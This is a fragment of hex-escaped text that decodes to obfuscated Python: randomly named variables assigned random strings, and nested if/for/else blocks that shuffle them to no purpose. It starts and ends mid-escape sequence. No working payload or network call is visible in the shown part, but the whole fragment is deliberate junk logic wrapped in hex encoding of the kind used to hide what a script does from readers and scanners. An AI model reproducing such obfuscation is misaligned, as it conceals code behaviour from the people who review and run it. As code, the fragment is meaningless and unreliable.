6a\x56\x76\x69\x49\x41\x52\x78\x4a\x68\x47\x46\x4a\x51\x70\x6d\x4e\x47\x4d\x43\x49\x44\x79\x48\x41\x44\x58\x41\x49\x42\x79\x45\x54\x63\x52\x6f\x71\x4c\x5a\x4d\x6f\x71\x43\x6a\x4a\x43\x6e\x43\x47\x73\x53\x76\x4f\x49\x46\x4f\x67\x52\x6d\x48\x4a\x43\x77\x45\x4a\x49\x48\x67\x47\x79\x27\x0a\x6c\x46\x50\x43\x6d\x46\x44\x42\x42\x43\x41\x45\x6b\x53\x42\x71\x50\x49\x42\x41\x56\x45\x59\x4a\x4a\x78\x70\x7a\x4e\x7a\x52\x48\x54\x49\x73\x58\x7a\x51\x47\x67\x6e\x46\x4e\x6f\x41\x53\x4a\x75\x51\x77\x70\x74\x45\x4a\x4a\x73\x45\x6f\x47\x43\x49\x77\x63\x46\x7a\x74\x53\x69\x75\x75\x76\x57\x71\x48\x53\x48\x49\x53\x53\x7a\x6f\x76\x49\x49\x43\x52\x44\x52\x47\x44\x43\x68\x79\x46\x42\x46\x5a\x77\x66\x70\x4e\x46\x6c\x6b\x44\x53\x71\x51\x52\x74\x52\x73\x47\x45\x74\x42\x41\x53\x6d\x51\x49\x56\x45\x5a\x45\x7a\x45\x20\x3d\x20\x27\x49\x50\x43\x73\x42\x44\x71\x78\x44\x73\x49\x54\x75\x47\x49\x76\x57\x76\x73\x6e\x7a\x7a\x76\x65\x52\x56\x53\x7a\x53\x53\x6c\x69\x4d\x51\x65\x45\x70\x67\x66\x50\x4e\x4f\x52\x42\x51\x7a\x67\x4f\x4e\x70\x49\x45\x45\x41\x51\x51\x65\x79\x76\x50\x78\x6c\x77\x43\x47\x49\x76\x44\x78\x46\x59\x47\x75\x77\x45\x69\x54\x75\x49\x51\x50\x54\x6e\x4a\x51\x70\x51\x51\x79\x53\x44\x53\x6f\x45\x4f\x47\x4f\x46\x69\x49\x74\x51\x6c\x46\x4a\x41\x6b\x75\x78\x44\x4a\x49\x75\x6c\x41\x6d\x56\x53\x77\x42\x51\x78\x58\x70\x50\x44\x72\x27\x0a\x75\x65\x48\x47\x71\x75\x78\x76\x72\x65\x7a\x48\x47\x66\x66\x46\x70\x41\x4d\x73\x41\x51\x70\x45\x48\x46\x78\x79\x45\x43\x6b\x42\x43\x48\x79\x4a\x4a\x53\x73\x73\x46\x6f\x4c\x70\x6f\x6e\x53\x44\x78\x4a\x79\x6a\x47\x4f\x44\x75\x47\x6f\x4a\x42\x51\x78\x77\x48\x53\x7a\x49\x43\x6b\x6b\x57\x49\x78\x77\x44\x4a\x49\x74\x47\x7a\x6e\x4a\x51\x78\x72\x43\x67\x44\x43\x4a\x72\x77\x47\x41\x77\x42\x73\x47\x58\x76\x46\x52\x69\x73\x48\x50\x44\x44\x52\x51\x73\x46\x44\x7a\x43\x50\x52\x78\x77\x7a\x77\x45\x6b\x6f\x52\x42\x79\x20\x3d\x20\x27\x77\x5a\x71\x45\x50\x5a\x7a\x42\x56\x74\x48\x77\x45\x48\x41\x51\x48\x53\x54\x42\x53\x49\x5a\x44\x78\x48\x72\x47\x42\x72\x44\x51\x70\x78\x41\x45\x53\x6a\x53\x79\x53\x79\x52\x50\x69\x49\x79\x48\x71\x53\x47\x66\x6d\x4a\x6f\x4d\x41\x52\x44\x69\x71\x46\x51\x45\x48\x78\x67\x49\x76\x57\x49\x7a\x4f\x53\x4a\x79\x52\x47\x79\x49\x73\x6f\x4a\x76\x6c\x4f\x52\x52\x71\x47\x52\x44\x46\x53\x4f\x73\x49\x77\x47\x42\x4a\x41\x6e\x44\x72\x47\x44\x46\x46\x75\x53\x77\x69\x53\x55\x49\x6d\x44\x65\x78\x44\x53\x57\x42\x46\x57\x47\x27\x0a\x51\x41\x75\x4f\x42\x46\x41\x45\x4e\x71\x68\x41\x53\x46\x69\x76\x70\x52\x75\x70\x78\x44\x50\x70\x69\x7a\x70\x45\x79\x48\x53\x4f\x6a\x42\x72\x47\x71\x79\x78\x45\x75\x4e\x45\x44\x46\x46\x44\x58\x77\x73\x4a\x48\x67\x79\x42\x49\x46\x57\x6f\x53\x77\x4f\x52\x44\x53\x42\x43\x43\x4d\x49\x55\x76\x41\x44\x53\x54\x45\x4f\x43\x52\x47\x6d\x53\x76\x70\x56\x76\x6d\x51\x41\x52\x47\x78\x62\x50\x75\x6f\x71\x53\x71\x4a\x42\x41\x75\x7a\x69\x6b\x4f\x74\x7a\x53\x73\x47\x6d\x77\x71\x48\x45\x72\x51\x6d\x43\x7a\x71\x6f\x6a\x45\x20\x3d\x20\x27\x75\x45\x48\x75\x45\x44\x6a\x48\x48\x70\x4f\x43\x46\x6f\x55\x77\x6f\x53\x42\x70\x74\x79\x44\x77\x4f\x6c\x76\x48\x69\x42\x49\x43\x52\x4a\x43\x43\x46\x69\x53\x69\x73\x42\x71\x72\x53\x54\x75\x43\x73\x7a\x41\x76\x53\x7a\x47\x51\x75\x49\x54\x53\x57\x52\x4e\x4e\x71\x50\x56\x54\x4b\x53\x56\x78\x42\x43\x41\x42\x46\x6c\x79\x57\x48\x74\x6a\x53\x44\x5a\x48\x4a\x73\x6f\x42\x75\x71\x4f\x71\x4a\x57\x43\x75\x5a\x74\x49\x72\x5a\x52\x77\x7a\x44\x76\x4e\x77\x49\x4a\x53\x68\x51\x78\x53\x65\x52\x55\x69\x76\x45\x72\x6d\x4a\x27\x0a\x59\x77\x42\x49\x4a\x74\x50\x7a\x66\x79\x45\x44\x45\x46\x6b\x41\x6a\x51\x45\x7a\x4f\x49\x49\x54\x49\x44\x5a\x6b\x6c\x74\x48\x45\x51\x71\x49\x78\x45\x72\x65\x43\x65\x4a\x56\x78\x51\x70\x6e\x54\x51\x45\x50\x44\x49\x50\x78\x78\x46\x79\x52\x77\x58\x49\x53\x73\x53\x73\x47\x43\x70\x41\x51\x78\x45\x6f\x46\x6a\x50\x50\x47\x75\x51\x71\x78\x71\x76\x59\x56\x43\x4e\x79\x72\x48\x48\x48\x49\x79\x70\x54\x79\x52\x52\x56\x79\x74\x72\x59\x51\x6e\x6a\x47\x76\x4e\x79\x59\x6e\x43\x45\x41\x47\x50\x44\x47\x53\x79\x52\x6c\x6b\x20\x3d\x20\x27\x51\x76\x78\x7a\x67\x4a\x42\x73\x4a\x46\x51\x48\x42\x48\x70\x6f\x49\x43\x45\x55\x41\x45\x72\x72\x46\x71\x47\x44\x4c\x46\x76\x77\x44\x4a\x41\x78\x4a\x5a\x4a\x43\x7a\x42\x58\x47\x49\x44\x72\x76\x51\x70\x4f\x51\x7a\x6e\x4e\x72\x49\x48\x49\x52\x51\x6c\x72\x76\x49\x48\x43\x41\x7a\x6f\x77\x44\x50\x4a\x4f\x62\x44\x53\x4a\x47\x71\x42\x58\x45\x78\x76\x75\x7a\x47\x53\x53\x75\x6d\x52\x76\x50\x5a\x77\x4d\x52\x46\x70\x65\x53\x70\x75\x53\x79\x78\x76\x51\x76\x41\x70\x45\x4e\x5a\x53\x45\x4a\x6c\x75\x65\x45\x51\x52\x53\x27\x0a\x45\x41\x52\x77\x46\x70\x6f\x41\x73\x44\x65\x4d\x66\x48\x46\x70\x6e\x69\x4d\x79\x72\x4a\x51\x7a\x6b\x57\x48\x72\x47\x4a\x75\x47\x77\x46\x72\x44\x69\x69\x71\x51\x4c\x49\x50\x4a\x75\x53\x45\x53\x4a\x51\x47\x65\x51\x51\x4a\x5a\x4a\x75\x72\x51\x72\x42\x6a\x59\x44\x6f\x79\x78\x4e\x45\x44\x49\x53\x6e\x57\x47\x48\x44\x44\x6d\x45\x49\x47\x79\x4a\x4f\x76\x79\x74\x6f\x6c\x6c\x4c\x44\x42\x44\x65\x49\x47\x65\x66\x4e\x52\x7a\x50\x47\x41\x47\x49\x4f\x6d\x75\x47\x4f\x6c\x6d\x6d\x4f\x50\x72\x53\x4a\x6d\x45\x42\x7a\x4a\x20\x3d\x20\x27\x6b\x76\x45\x6b\x41\x77\x76\x48\x7a\x48\x74\x73\x7a\x59\x4f\x4c\x77\x51\x4f\x52\x51\x47\x42\x4a\x4a\x6e\x41\x46\x43\x75\x6e\x44\x6d\x42\x6f\x6c\x48\x44\x75\x4a\x55\x41\x72\x6a\x52\x75\x75\x4f\x76\x4d\x4a\x67\x6c\x70\x4e\x49\x51\x70\x46\x69\x49\x42\x5a\x46\x47\x44\x48\x4d\x4f\x68\x6b\x79\x56\x52\x4c\x4f\x46\x44\x69\x4a\x49\x76\x4a\x78\x74\x7a\x4a\x48\x48\x66\x47\x72\x79\x4c\x47\x6e\x4d\x43\x42\x48\x79\x42\x52\x55\x6e\x45\x74\x6d\x50\x7a\x41\x72\x52\x70\x57\x46\x69\x48\x42\x46\x4a\x72\x77\x41\x76\x43\x79\x27\x0a\x69\x66\x20\x49\x4f\x5a\x79\x57\x79\x7a\x47\x6d\x74\x53\x79\x55\x47\x48\x59\x45\x73\x7a\x6c\x56\x47\x44\x78\x72\x49\x66\x65\x4a\x42\x6b\x50\x45\x49\x77\x57\x4f\x49\x73\x50\x75\x6d\x45\x6e\x72\x43\x53\x48\x79\x7a\x52\x75\x45\x6e\x4a\x41\x50\x71\x70\x53\x53\x53\x44\x77\x47\x52\x42\x46\x6c\x6f\x78\x55\x42\x52\x52\x6d\x56\x42\x52\x75\x72\x42\x69\x41\x4a\x70\x73\x49\x6f\x41\x6a\x46\x50\x4a\x7a\x49\x44\x4c\x73\x45\x47\x6c\x73\x48\x43\x6e\x47\x75\x79\x6a\x47\x59\x72\x51\x68\x44\x4c\x57\x6f\x47\x49\x53\x4e\x47\x4f\x66\x46\x20\x21\x3d\x20\x51\x41\x75\x4f\x42\x46\x41\x45\x4e\x71\x68\x41\x53\x46\x69\x76\x70\x52\x75\x70\x78\x44\x50\x70\x69\x7a\x70\x45\x79\x48\x53\x4f\x6a\x42\x72\x47\x71\x79\x78\x45\x75\x4e\x45\x44\x46\x46\x44\x58\x77\x73\x4a\x48\x67\x79\x42\x49\x46\x57\x6f\x53\x77\x4f\x52\x44\x53\x42\x43\x43\x4d\x49\x55\x76\x41\x44\x53\x54\x45\x4f\x43\x52\x47\x6d\x53\x76\x70\x56\x76\x6d\x51\x41\x52\x47\x78\x62\x50\x75\x6f\x71\x53\x71\x4a\x42\x41\x75\x7a\x69\x6b\x4f\x74\x7a\x53\x73\x47\x6d\x77\x71\x48\x45\x72\x51\x6d\x43\x7a\x71\x6f\x6a\x45\x3a\x0a\x20\x20\x20\x20\x6c\x46\x50\x43\x6d\x46\x44\x42\x42\x43\x41\x45\x6b\x53\x42\x71\x50\x49\x42\x41\x56\x45\x59\x4a\x4a\x78\x70\x7a\x4e\x7a\x52\x48\x54\x49\x73\x58\x7a\x51\x47\x67\x6e\x46\x4e\x6f\x41\x53\x4a\x75\x51\x77\x70\x74\x45\x4a\x4a\x73\x45\x6f\x47\x43\x49\x77\x63\x46\x7a\x74\x53\x69\x75\x75\x76\x57\x71\x48\x53\x48\x49\x53\x53\x7a\x6f\x76\x49\x49\x43\x52\x44\x52\x47\x44\x43\x68\x79\x46\x42\x46\x5a\x77\x66\x70\x4e\x46\x6c\x6b\x44\x53\x71\x51\x52\x74\x52\x73\x47\x45\x74\x42\x41\x53\x6d\x51\x49\x56\x45\x5a\x45\x7a\x45\x20\x3d\x20\x75\x65\x48\x47\x71\x75\x78\x76\x72\x65\x7a\x48\x47\x66\x66\x46\x70\x41\x4d\x73\x41\x51\x70\x45\x48\x46\x78\x79\x45\x43\x6b\x42\x43\x48\x79\x4a\x4a\x53\x73\x73\x46\x6f\x4c\x70\x6f\x6e\x53\x44\x78\x4a\x79\x6a\x47\x4f\x44\x75\x47\x6f\x4a\x42\x51\x78\x77\x48\x53\x7a\x49\x43\x6b\x6b\x57\x49\x78\x77\x44\x4a\x49\x74\x47\x7a\x6e\x4a\x51\x78\x72\x43\x67\x44\x43\x4a\x72\x77\x47\x41\x77\x42\x73\x47\x58\x76\x46\x52\x69\x73\x48\x50\x44\x44\x52\x51\x73\x46\x44\x7a\x43\x50\x52\x78\x77\x7a\x77\x45\x6b\x6f\x52\x42\x79\x0a\x20\x20\x20\x20\x66\x6f\x72\x20\x45\x41\x52\x77\x46\x70\x6f\x41\x73\x44\x65\x4d\x66\x48\x46\x70\x6e\x69\x4d\x79\x72\x4a\x51\x7a\x6b\x57\x48\x72\x47\x4a\x75\x47\x77\x46\x72\x44\x69\x69\x71\x51\x4c\x49\x50\x4a\x75\x53\x45\x53\x4a\x51\x47\x65\x51\x51\x4a\x5a\x4a\x75\x72\x51\x72\x42\x6a\x59\x44\x6f\x79\x78\x4e\x45\x44\x49\x53\x6e\x57\x47\x48\x44\x44\x6d\x45\x49\x47\x79\x4a\x4f\x76\x79\x74\x6f\x6c\x6c\x4c\x44\x42\x44\x65\x49\x47\x65\x66\x4e\x52\x7a\x50\x47\x41\x47\x49\x4f\x6d\x75\x47\x4f\x6c\x6d\x6d\x4f\x50\x72\x53\x4a\x6d\x45\x42\x7a\x4a\x20\x69\x6e\x20\x51\x41\x75\x4f\x42\x46\x41\x45\x4e\x71\x68\x41\x53\x46\x69\x76\x70\x52\x75\x70\x78\x44\x50\x70\x69\x7a\x70\x45\x79\x48\x53\x4f\x6a\x42\x72\x47\x71\x79\x78\x45\x75\x4e\x45\x44\x46\x46\x44\x58\x77\x73\x4a\x48\x67\x79\x42\x49\x46\x57\x6f\x53\x77\x4f\x52\x44\x53\x42\x43\x43\x4d\x49\x55\x76\x41\x44\x53\x54\x45\x4f\x43\x52\x47\x6d\x53\x76\x70\x56\x76\x6d\x51\x41\x52\x47\x78\x62\x50\x75\x6f\x71\x53\x71\x4a\x42\x41\x75\x7a\x69\x6b\x4f\x74\x7a\x53\x73\x47\x6d\x77\x71\x48\x45\x72\x51\x6d\x43\x7a\x71\x6f\x6a\x45\x3a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x69\x66\x20\x45\x41\x52\x77\x46\x70\x6f\x41\x73\x44\x65\x4d\x66\x48\x46\x70\x6e\x69\x4d\x79\x72\x4a\x51\x7a\x6b\x57\x48\x72\x47\x4a\x75\x47\x77\x46\x72\x44\x69\x69\x71\x51\x4c\x49\x50\x4a\x75\x53\x45\x53\x4a\x51\x47\x65\x51\x51\x4a\x5a\x4a\x75\x72\x51\x72\x42\x6a\x59\x44\x6f\x79\x78\x4e\x45\x44\x49\x53\x6e\x57\x47\x48\x44\x44\x6d\x45\x49\x47\x79\x4a\x4f\x76\x79\x74\x6f\x6c\x6c\x4c\x44\x42\x44\x65\x49\x47\x65\x66\x4e\x52\x7a\x50\x47\x41\x47\x49\x4f\x6d\x75\x47\x4f\x6c\x6d\x6d\x4f\x50\x72\x53\x4a\x6d\x45\x42\x7a\x4a\x20\x21\x3d\x20\x75\x65\x48\x47\x71\x75\x78\x76\x72\x65\x7a\x48\x47\x66\x66\x46\x70\x41\x4d\x73\x41\x51\x70\x45\x48\x46\x78\x79\x45\x43\x6b\x42\x43\x48\x79\x4a\x4a\x53\x73\x73\x46\x6f\x4c\x70\x6f\x6e\x53\x44\x78\x4a\x79\x6a\x47\x4f\x44\x75\x47\x6f\x4a\x42\x51\x78\x77\x48\x53\x7a\x49\x43\x6b\x6b\x57\x49\x78\x77\x44\x4a\x49\x74\x47\x7a\x6e\x4a\x51\x78\x72\x43\x67\x44\x43\x4a\x72\x77\x47\x41\x77\x42\x73\x47\x58\x76\x46\x52\x69\x73\x48\x50\x44\x44\x52\x51\x73\x46\x44\x7a\x43\x50\x52\x78\x77\x7a\x77\x45\x6b\x6f\x52\x42\x79\x3a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x6c\x46\x50\x43\x6d\x46\x44\x42\x42\x43\x41\x45\x6b\x53\x42\x71\x50\x49\x42\x41\x56\x45\x59\x4a\x4a\x78\x70\x7a\x4e\x7a\x52\x48\x54\x49\x73\x58\x7a\x51\x47\x67\x6e\x46\x4e\x6f\x41\x53\x4a\x75\x51\x77\x70\x74\x45\x4a\x4a\x73\x45\x6f\x47\x43\x49\x77\x63\x46\x7a\x74\x53\x69\x75\x75\x76\x57\x71\x48\x53\x48\x49\x53\x53\x7a\x6f\x76\x49\x49\x43\x52\x44\x52\x47\x44\x43\x68\x79\x46\x42\x46\x5a\x77\x66\x70\x4e\x46\x6c\x6b\x44\x53\x71\x51\x52\x74\x52\x73\x47\x45\x74\x42\x41\x53\x6d\x51\x49\x56\x45\x5a\x45\x7a\x45\x20\x3d\x20\x6c\x46\x50\x43\x6d\x46\x44\x42\x42\x43\x41\x45\x6b\x53\x42\x71\x50\x49\x42\x41\x56\x45\x59\x4a\x4a\x78\x70\x7a\x4e\x7a\x52\x48\x54\x49\x73\x58\x7a\x51\x47\x67\x6e\x46\x4e\x6f\x41\x53\x4a\x75\x51\x77\x70\x74\x45\x4a\x4a\x73\x45\x6f\x47\x43\x49\x77\x63\x46\x7a\x74\x53\x69\x75\x75\x76\x57\x71\x48\x53\x48\x49\x53\x53\x7a\x6f\x76\x49\x49\x43\x52\x44\x52\x47\x44\x43\x68\x79\x46\x42\x46\x5a\x77\x66\x70\x4e\x46\x6c\x6b\x44\x53\x71\x51\x52\x74\x52\x73\x47\x45\x74\x42\x41\x53\x6d\x51\x49\x56\x45\x5a\x45\x7a\x45\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x65\x6c\x73\x65\x3a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x59\x77\x42\x49\x4a\x74\x50\x7a\x66\x79\x45\x44\x45\x46\x6b\x41\x6a\x51\x45\x7a\x4f\x49\x49\x54\x49\x44\x5a\x6b\x6c\x74\x48\x45\x51\x71\x49\x78\x45\x72\x65\x43\x65\x4a\x56\x78\x51\x70\x6e\x54\x51\x45\x50\x44\x49\x50\x78\x78\x46\x79\x52\x77\x58\x49\x53\x73\x53\x73\x47\x43\x70\x41\x51\x78\x45\x6f\x46\x6a\x50\x50\x47\x75\x51\x71\x78\x71\x76\x59\x56\x43\x4e\x79\x72\x48\x48\x48\x49\x79\x70\x54\x79\x52\x52\x56\x79\x74\x72\x59\x51\x6e\x6a\x47\x76\x4e\x79\x59\x6e\x43\x45\x41\x47\x50\x44\x47\x53\x79\x52\x6c\x6b\x20\x3d\x20\x49\x4f\x5a\x79\x57\x79\x7a\x47\x6d\x74\x53\x79\x55\x47\x48\x59\x45\x73\x7a\x6c\x56\x47\x44\x78\x72\x49\x66\x65\x4a\x42\x6b\x50\x45\x49\x77\x57\x4f\x49\x73\x50\x75\x6d\x45\x6e\x72\x43\x53\x48\x79\x7a\x52\x75\x45\x6e\x4a\x41\x50\x71\x70\x53\x53\x53\x44\x77\x47\x52\x42\x46\x6c\x6f\x78\x55\x42\x52\x52\x6d\x56\x42\x52\x75\x72\x42\x69\x41\x4a\x70\x73\x49\x6f\x41\x6a\x46\x50\x4a\x7a\x49\x44\x4c\x73\x45\x47\x6c\x73\x48\x43\x6e\x47\x75\x79\x6a\x47\x59\x72\x51\x68\x44\x4c\x57\x6f\x47\x49\x53\x4e\x47\x4f\x66\x46\x0a\x65\x6c\x73\x65\x3a\x0a\x20\x20\x20\x20\x75\x65\x48\x47\x71\x75\x78\x76\x72\x65\x7a\x48\x47\x66\x66\x46\x70\x41\x4d\x73\x41\x51\x70\x45\x48\x46\x78\x79\x45\x43\x6b\x42\x43\x48\x79\x4a\x4a\x53\x73\x73\x46\x6f\x4c\x70\x6f\x6e\x53\x44\x78\x4a\x79\x6a\x47\x4f\x44\x75\x47\x6f\x4a\x42\x51\x78\x77\x48\x53\x7a\x49\x43\x6b\x6b\x57\x49\x78\x77\x44\x4a\x49\x74\x47\x7a\x6e\x4a\x51\x78\x72\x43\x67\x44\x43\x4a\x72\x77\x47\x41\x77\x42\x73\x47\x58\x76\x46\x52\x69\x73\x48\x50\x44\x44\x52\x51\x73\x46\x44\x7a\x43\x50\x52\x78\x77\x7a\x77\x45\x6b\x6f\x52\x42\x79\x20\x3d\x20\x49\x4f\x5a\x79\x57\x79\x7a\x47\x6d\x74\x53\x79\x55\x47\x48\x59\x45\x73\x7a\x6c\x56\x47\x44\x78\x72\x49\x66\x65\x4a\x42\x6b\x50\x45\x49\x77\x57\x4f\x49\x73\x50\x75\x6d\x45\x6e\x72\x43\x53\x48\x79\x7a\x52\x75\x45\x6e\x4a\x41\x50\x71\x70\x53\x53\x53\x44\x77\x47\x52\x42\x46\x6c\x6f\x78\x55\x42\x52\x52\x6d\x56\x42\x52\x75\x72\x42\x69\x41\x4a\x70\x73\x49\x6f\x41\x6a\x46\x50\x4a\x7a\x49\x44\x4c\x73\x45\x47\x6c\x73\x48\x43\x6e\x47\x75\x79\x6a\x47\x59\x72\x51\x68\x44\x4c\x57\x6f\x47\x49\x53\x4e\x47\x4f\x66\x46\x0a\x20\x20\x20\x20\x49\x4f\x5a\x79\x57\x79\x7a\x47\x6d\x74\x53\x79\x55\x47\x48\x59\x45\x73\x7a\x6c\x56\x47\x44\x78\x72\x49\x66\x65\x4a\x42\x6b\x50\x45\x49\x77\x57\x4f\x49\x73\x50\x75\x6d\x45\x6e\x72\x43\x53\x48\x79\x7a\x52\x75\x45\x6e\x4a\x41\x50\x71\x70\x53\x53\x53\x44\x77\x47\x52\x42\x46\x6c\x6f\x78\x55\x42\x52\x52\x6d\x56\x42\x52\x75\x72\x42\x69\x41\x4a\x70\x73\x49\x6f\x41\x6a\x46\x50\x4a\x7a\x49\x44\x4c\x73\x45\x47\x6c\x73\x48\x43\x6e\x47\x75\x79\x6a\x47\x59\x72\x51\x68\x44\x4c\x57\x6f\x47\x49\x53\x4e\x47\x4f\x66\x46\x20\x3d\x20\x59\x77\x42\x49\x4a\x74\x50\x7a\x66\x79\x45\x44\x45\x46\x6b\x41\x6a\x51\x45\x7a\x4f\x49\x49\x54\x49\x44\x5a\x6b\x6c\x74\x48\x45\x51\x71\x49\x78\x45\x72\x65\x43\x65\x4a\x56\x78\x51\x70\x6e\x54\x51\x45\x50\x44\x49\x50\x78\x78\x46\x79\x52\x77\x58\x49\x53\x73\x53\x73\x47\x43\x70\x41\x51\x78\x45\x6f\x46\x6a\x50\x50\x47\x75\x51\x71\x78\x71\x76\x59\x56\x43\x4e\x79\x72\x48\x48\x48\x49\x79\x70\x54\x79\x52\x52\x56\x79\x74\x72\x59\x51\x6e\x6a\x47\x76\x4e\x79\x59\x6e\x43\x45\x41\x47\x50\x44\x47\x53\x79\x52\x6c\x6b\x0a\x20\x20\x20\x20\x69\x66\x20\x75\x65\x48\x47\x71\x75\x78\x76\x72\x65\x7a\x48\x47\x66\x66\x46\x70\x41\x4d\x73\x41\x51\x70\x45\x48\x46\x78\x79\x45\x43\x6b\x42\x43\x48\x79\x4a\x4a\x53\x73\x73\x46\x6f\x4c\x70\x6f\x6e\x53\x44\x78\x4a\x79\x6a\x47\x4f\x44\x75\x47\x6f\x4a\x42\x51\x78\x77\x48\x53\x7a\x49\x43\x6b\x6b\x57\x49\x78\x77\x44\x4a\x49\x74\x47\x7a\x6e\x4a\x51\x78\x72\x43\x67\x44\x43\x4a\x72\x77\x47\x41\x77\x42\x73\x47\x58\x76\x46\x52\x69\x73\x48\x50\x44\x44\x52\x51\x73\x46\x44\x7a\x43\x50\x52\x78\x77\x7a\x77\x45\x6b\x6f\x52\x42\x79\x20\x3d\x3d\x20\x49\x4f\x5a\x79\x57\x79\x7a\x47\x6d\x74\x53\x79\x55\x47\x48\x59\x45\x73\x7a\x6c\x56\x47\x44\x78\x72\x49\x66\x65\x4a\x42\x6b\x50\x45\x49\x77\x57\x4f\x49\x73\x50\x75\x6d\x45\x6e\x72\x43\x53\x48\x79\x7a\x52\x75\x45\x6e\x4a\x41\x50\x71\x70\x53\x53\x53\x44\x77\x47\x52\x42\x46\x6c\x6f\x78\x55\x42\x52\x52\x6d\x56\x42\x52\x75\x72\x42\x69\x41\x4a\x70\x73\x49\x6f\x41\x6a\x46\x50\x4a\x7a\x49\x44\x4c\x73\x45\x47\x6c\x73\x48\x43\x6e\x47\x75\x79\x6a\x47\x59\x72\x51\x68\x44\x4c\x57\x6f\x47\x49\x53\x4e\x47\x4f\x66\x46\x3a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x66\x6f\x72\x20\x45\x41\x52\x77\x46\x70\x6f\x41\x73\x44\x65\x4d\x66\x48\x46\x70\x6e\x69\x4d\x79\x72\x4a\x51\x7a\x6b\x57\x48\x72\x47\x4a\x75\x47\x77\x46\x72\x44\x69\x69\x71\x51\x4c\x49\x50\x4a\x75\x53\x45\x53\x4a\x51\x47\x65\x51\x51\x4a\x5a\x4a\x75\x72\x51\x72\x42\x6a\x59\x44\x6f\x79\x78\x4e\x45\x44\x49\x53\x6e\x57\x47\x48\x44\x44\x6d\x45\x49\x47\x79\x4a\x4f\x76\x79\x74\x6f\x6c\x6c\x4c\x44\x42\x44\x65\x49\x47\x65\x66\x4e\x52\x7a\x50\x47\x41\x47\x49\x4f\x6d\x75\x47\x4f\x6c\x6d\x6d\x4f\x50\x72\x53\x4a\x6d\x45\x42\x7a\x4a\x20\x69\x6e\x20\x49\x4f\x5a\x79\x57\x79\x7a\x47\x6d\x74\x53\x79\x55\x47\x48\x59\x45\x73\x7a\x6c\x56\x47\x44\x78\x72\x49\x66\x65\x4a\x42\x6b\x50\x45\x49\x77\x57\x4f\x49\x73\x50\x75\x6d\x45\x6e\x72\x43\x53\x48\x79\x7a\x52\x75\x45\x6e\x4a\x41\x50\x71\x70\x53\x53\x53\x44\x77\x47\x52\x42\x46\x6c\x6f\x78\x55\x42\x52\x52\x6d\x56\x42\x52\x75\x72\x42\x69\x41\x4a\x70\x73\x49\x6f\x41\x6a\x46\x50\x4a\x7a\x49\x44\x4c\x73\x45\x47\x6c\x73\x48\x43\x6e\x47\x75\x79\x6a\x47\x59\x72\x51\x68\x44\x4c\x57\x6f\x47\x49\x53\x4e\x47\x4f\x66\x46\x3a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x69\x66\x20\x45\x41\x52\x77\x46\x70\x6f\x41\x73\x44\x65\x4d\x66\x48\x46\x70\x6e\x69\x4d\x79\x72\x4a\x51\x7a\x6b\x57\x48\x72\x47\x4a\x75\x47\x77\x46\x72\x44\x69\x69\x71\x51\x4c\x49\x50\x4a\x75\x53\x45\x53\x4a\x51\x47\x65\x51\x51\x4a\x5a\x4a\x75\x72\x51\x72\x42\x6a\x59\x44\x6f\x79\x78\x4e\x45\x44\x49\x53\x6e\x57\x47\x48\x44\x44\x6d\x45\x49\x47\x79\x4a\x4f\x76\x79\x74\x6f\x6c\x6c\x4c\x44\x42\x44\x65\x49\x47\x65\x66\x4e\x52\x7a\x50\x47\x41\x47\x49\x4f\x6d\x75\x47\x4f\x6c\x6d\x6d\x4f\x50\x72\x53\x4a\x6d\x45\x42\x7a\x4a\x20\x3d\x3d\x20\x75\x65\x48\x47\x71\x75\x78\x76\x72\x65\x7a\x48\x47\x66\x66\x46\x70\x41\x4d\x73\x41\x51\x70\x45\x48\x46\x78\x79\x45\x43\x6b\x42\x43\x48\x79\x4a\x4a\x53\x73\x73\x46\x6f\x4c\x70\x6f\x6e\x53\x44\x78\x4a\x79\x6a\x47\x4f\x44\x75\x47\x6f\x4a\x42\x51\x78\x77\x48\x53\x7a\x49\x43\x6b\x6b\x57\x49\x78\x77\x44\x4a\x49\x74\x47\x7a\x6e\x4a\x51\x78\x72\x43\x67\x44\x43\x4a\x72\x77\x47\x41\x77\x42\x73\x47\x58\x76\x46\x52\x69\x73\x48\x50\x44\x44\x52\x51\x73\x46\x44\x7a\x43\x50\x52\x78\x77\x7a\x77\x45\x6b\x6f\x52\x42\x79\x3a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x75\x65\x48\x47\x71\x75\x78\x76\x72\x65\x7a\x48\x47\x66\x66\x46\x70\x41\x4d\x73\x41\x51\x70\x45\x48\x46\x78\x79\x45\x43\x6b\x42\x43\x48\x79\x4a\x4a\x53\x73\x73\x46\x6f\x4c\x70\x6f\x6e\x53\x44\x78\x4a\x79\x6a\x47\x4f\x44\x75\x47\x6f\x4a\x42\x51\x78\x77\x48\x53\x7a\x49\x43\x6b\x6b\x57\x49\x78\x77\x44\x4a\x49\x74\x47\x7a\x6e\x4a\x51\x78\x72\x43\x67\x44\x43\x4a\x72\x77\x47\x41\x77\x42\x73\x47\x58\x76\x46\x52\x69\x73\x48\x50\x44\x44\x52\x51\x73\x46\x44\x7a\x43\x50\x52\x78\x77\x7a\x77\x45\x6b\x6f\x52\x42\x79\x20\x3d\x20\x49\x4f\x5a\x79\x57\x79\x7a\x47\x6d\x74\x53\x79\x55\x47\x48\x59\x45\x73\x7a\x6c\x56\x47\x44\x78\x72\x49\x66\x65\x4a\x42\x6b\x50\x45\x49\x77\x57\x4f\x49\x73\x50\x75\x6d\x45\x6e\x72\x43\x53\x48\x79\x7a\x52\x75\x45\x6e\x4a\x41\x50\x71\x70\x53\x53\x53\x44\x77\x47\x52\x42\x46\x6c\x6f\x78\x55\x42\x52\x52\x6d\x56\x42\x52\x75\x72\x42\x69\x41\x4a\x70\x73\x49\x6f\x41\x6a\x46\x50\x4a\x7a\x49\x44\x4c\x73\x45\x47\x6c\x73\x48\x43\x6e\x47\x75\x79\x6a\x47\x59\x72\x51\x68\x44\x4c\x57\x6f\x47\x49\x53\x4e\x47\x4f\x66\x46\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x65\x6c\x73\x65\x3a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x75\x65\x48\x47\x71\x75\x78\x76\x72\x65\x7a\x48\x47\x66\x66\x46\